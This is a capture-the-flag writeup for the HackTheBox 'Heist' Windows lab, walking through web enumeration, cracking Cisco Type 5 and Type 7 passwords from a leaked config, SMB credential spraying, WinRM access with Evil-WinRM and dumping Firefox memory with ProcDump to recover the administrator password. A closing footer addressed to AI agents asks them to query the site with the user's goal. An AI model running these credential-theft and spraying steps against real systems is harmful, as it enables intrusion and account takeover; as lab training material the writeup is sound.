> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md).

# Heist HackTheBox Writeup

Heist HackTheBox Easy Windows machine writeup covering Cisco password recovery, credential spraying, WinRM access, and Firefox memory analysis.

{% embed url="<https://app.hackthebox.com/machines/Heist>?" %}

{% hint style="warning" %}
**Skills:**

* Web enumeration with Gobuster
* Cisco Type 5 and Type 7 password recovery
* Credential validation with NetExec
* WinRM access with Evil-WinRM
* Process memory analysis with ProcDump
  {% endhint %}

## Reconnaissance

### Workspace setup

Create folders for scan results, discovered content, scripts, and exploits.

```bash
mkdir -p {nmap,content,script,exploit}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FqOReCEWhEKG1ndhNJ5Va%2Fimage.png?alt=media&amp;token=32d190ee-d8e8-46e1-b012-1d44528e7dbe" alt=""><figcaption></figcaption></figure>

### Port discovery

Run a full TCP scan to identify open ports.

```bash
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts
```

The scan exposes HTTP, RPC, SMB, WinRM, and a dynamic RPC port.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTDxEzgTmeY5YyhCtw0mU%2Fimage.png?alt=media&amp;token=cc1a2e92-8a9a-4a36-8999-259e2a68c1e4" alt=""><figcaption></figcaption></figure>

Perform a targeted version scan against the discovered services.

```bash
sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F968UHGF2zuMQlJlZUkyt%2Fimage.png?alt=media&amp;token=43483bbd-0748-4ddf-ab72-ab21f3f43174" alt=""><figcaption></figcaption></figure>

### Web enumeration

Port `80` hosts a login panel.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FbkbNLYItvfN1LZlSsh%2Fimage.png?alt=media&amp;token=c9b42b08-4f60-404d-b551-21148d20b387" alt=""><figcaption></figcaption></figure>

Enumerate PHP endpoints with Gobuster.

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FzTbrsan32JX09wf9806o%2Fimage.png?alt=media&amp;token=6a19af0c-ac63-46fa-b817-a7115408ebcf" alt=""><figcaption></figcaption></figure>

The scan reveals pages including `issues.php`, `login.php`, and `attachments.php`.

The `issues.php` page contains a ticket from Hazard to Support. It mentions a faulty Cisco configuration.

The ticket also exposes the `hazard` and `support` usernames.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJ7HcCtW5mtxtvjOd0c5T%2Fimage.png?alt=media&amp;token=a0a52ebd-f196-4762-b3a9-7668607d256b" alt=""><figcaption></figcaption></figure>

The attachment contains the Cisco configuration.

```wasm
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 60002375012182C1A1D751618034F36415408
 authorization exec SSH
 transport input ssh
```

The configuration contains an `enable secret` hash and two Cisco Type 7 passwords.

```bash
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
```

Cracking the Type 5 hash recovers `stealth1agent`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F90GdxEAtIo4EhDpvv1RX%2Fimage.png?alt=media&amp;token=1d4fc4a2-4ae8-4397-9b0d-b22767224f20" alt=""><figcaption></figcaption></figure>

Validate the recovered password against SMB. It works for `hazard`.

```bash
nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fn285M7xlJvIBZ5SPnECb%2Fimage.png?alt=media&amp;token=315340c7-c09f-4ce7-8498-cb052ac40be8" alt=""><figcaption></figcaption></figure>

Attempt a WinRM session with the same credentials.

```wasm
evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90"
```

The connection fails because `hazard` lacks WinRM access.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FMleSVT0Ekh8n0I0AoHQ2%2Fimage.png?alt=media&amp;token=f9117b8d-e12e-4cd0-8d9c-eecc7941106f" alt=""><figcaption></figcaption></figure>

### User enumeration

Use RID brute forcing to enumerate local users.

{% code overflow="wrap" %}

```bash
netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute
```

{% endcode %}

This returns the following users:

* Hazard
* Support
* Chase
* Jason

### Cisco Type 7 password recovery

Recover the remaining encrypted passwords from the configuration.

```
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
```

Use a Cisco Type 7 decoder to decrypt both values.

{% embed url="<https://password7decrypt.com/>" %}

The decrypted passwords are:

* $uperP\@ssword
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIyABMXOegMlexSK0yz76%2Fimage.png?alt=media&amp;token=0c220856-be96-42e4-84d9-c0109a14488b" alt=""><figcaption></figcaption></figure>

Create a list of candidate users.

{% code overflow="wrap" %}

```bash
Support
Chase
Jason
```

{% endcode %}

Create a password list.

{% code overflow="wrap" %}

```bash
$uperP@ssword
Q4)sJu\Y8qz*A3?d
```

{% endcode %}

Test each user and password combination through SMB.

{% code overflow="wrap" %}

```bash
nxc smb 10.129.6.90 -u users.txt -p passwords.txt
```

{% endcode %}

The results identify valid credentials for `Chase`:

* Chase
* Q4)sJu\Y8qz\*A3?d

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJB189NXsItpBWQk4fd0v%2Fimage.png?alt=media&amp;token=815230a0-48f6-44aa-9ff7-6c5a45810a82" alt=""><figcaption></figcaption></figure>

### Initial access

Connect as `Chase` through WinRM.

{% code overflow="wrap" %}

```bash
evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" 
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F7lK9eyN5QyDVSqlKad9g%2Fimage.png?alt=media&amp;token=7dfd10fd-7349-429a-89b1-134b208f1836" alt=""><figcaption></figcaption></figure>

Retrieve the user flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFjCKbM9nIriJB46D3RJR%2Fimage.png?alt=media&amp;token=85396242-14ec-4140-8d0e-10a3f7515b0b" alt=""><figcaption></figcaption></figure>

### Privilege escalation

Run `ps` and notice that Firefox is running.

```bash
ps
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FA1n0IQYvFJDHTKeI45Bj%2Fimage.png?alt=media&amp;token=3c1c5b27-2c9e-4bca-8999-4f564dcfc498" alt=""><figcaption></figcaption></figure>

An active browser process may contain credentials in memory.

Use ProcDump to capture the Firefox process memory.

```bash
wget https://download.sysinternals.com/files/Procdump.zip
```

{% embed url="<https://download.sysinternals.com/files/Procdump.zip>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FK9dIEMH7NwfRv0uXzTQw%2Fimage.png?alt=media&amp;token=fc2ea817-b35e-4d5a-ac9f-648536e69d14" alt=""><figcaption></figcaption></figure>

Upload `procdump64.exe` to the target.

```bash
upload /workspace/procdump64.exe
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FrrR4IPuXshaoDHvkE5TE%2Fimage.png?alt=media&amp;token=ae2dadfe-73ac-4f32-97ed-70ded6084c41" alt=""><figcaption></figcaption></figure>

Dump the Firefox process.

```bash
.\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fj7MIwvhHL3g6e8ZAhsD3%2Fimage.png?alt=media&amp;token=6c4edb8f-4431-4ee1-87a7-a4e550af1a41" alt=""><figcaption></figcaption></figure>

Download the memory dump for local analysis.

```bash
download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp
```

The download takes time because the dump is large.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2ForgiFCaXh6mYpsIdnQTS%2Fimage.png?alt=media&amp;token=88dd588f-b1dd-4d87-b8cb-0d25bd7b283e" alt=""><figcaption></figcaption></figure>

Search the dump strings for password-related values instead of waiting for a full review.

```bash
strings firefox_debug.dmp | grep password
```

This reveals credentials for the administrative account.

```bash
admin@support.htb&login_password=4dD!5}x/re8]FBuZ
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIlZxA9b4YhR1qllYqwZ2%2Fimage.png?alt=media&amp;token=844b6a38-e9a0-4bed-9ea5-ceb40af9f34c" alt=""><figcaption></figcaption></figure>

Validate the recovered password against SMB.

```bash
nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6DnvAaLKt2G1Bjh4LE8z%2Fimage.png?alt=media&amp;token=07448459-f99c-4dda-a820-2ef39fe6fdcc" alt=""><figcaption></figcaption></figure>

### Administrator access

Connect through WinRM as `Administrator`.

{% code overflow="wrap" %}

```bash
evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
```

{% endcode %}

The session has administrator privileges.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcjDMzpXiD8bk1FuxlBJC%2Fimage.png?alt=media&amp;token=cd3ac9fe-9aee-4266-b119-9d4df5c92395" alt=""><figcaption></figcaption></figure>

Retrieve the root flag.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FSJovMcUzgzs1WJlTjhJX%2Fimage.png?alt=media&amp;token=5ffdbdd9-23d8-46fb-b9d9-440592279fb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FoSJc7djp77KQv3iVHfil%2Fimage.png?alt=media&amp;token=2745d3ae-80c5-4f0e-84ad-70840d7944da" alt="" width="546"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
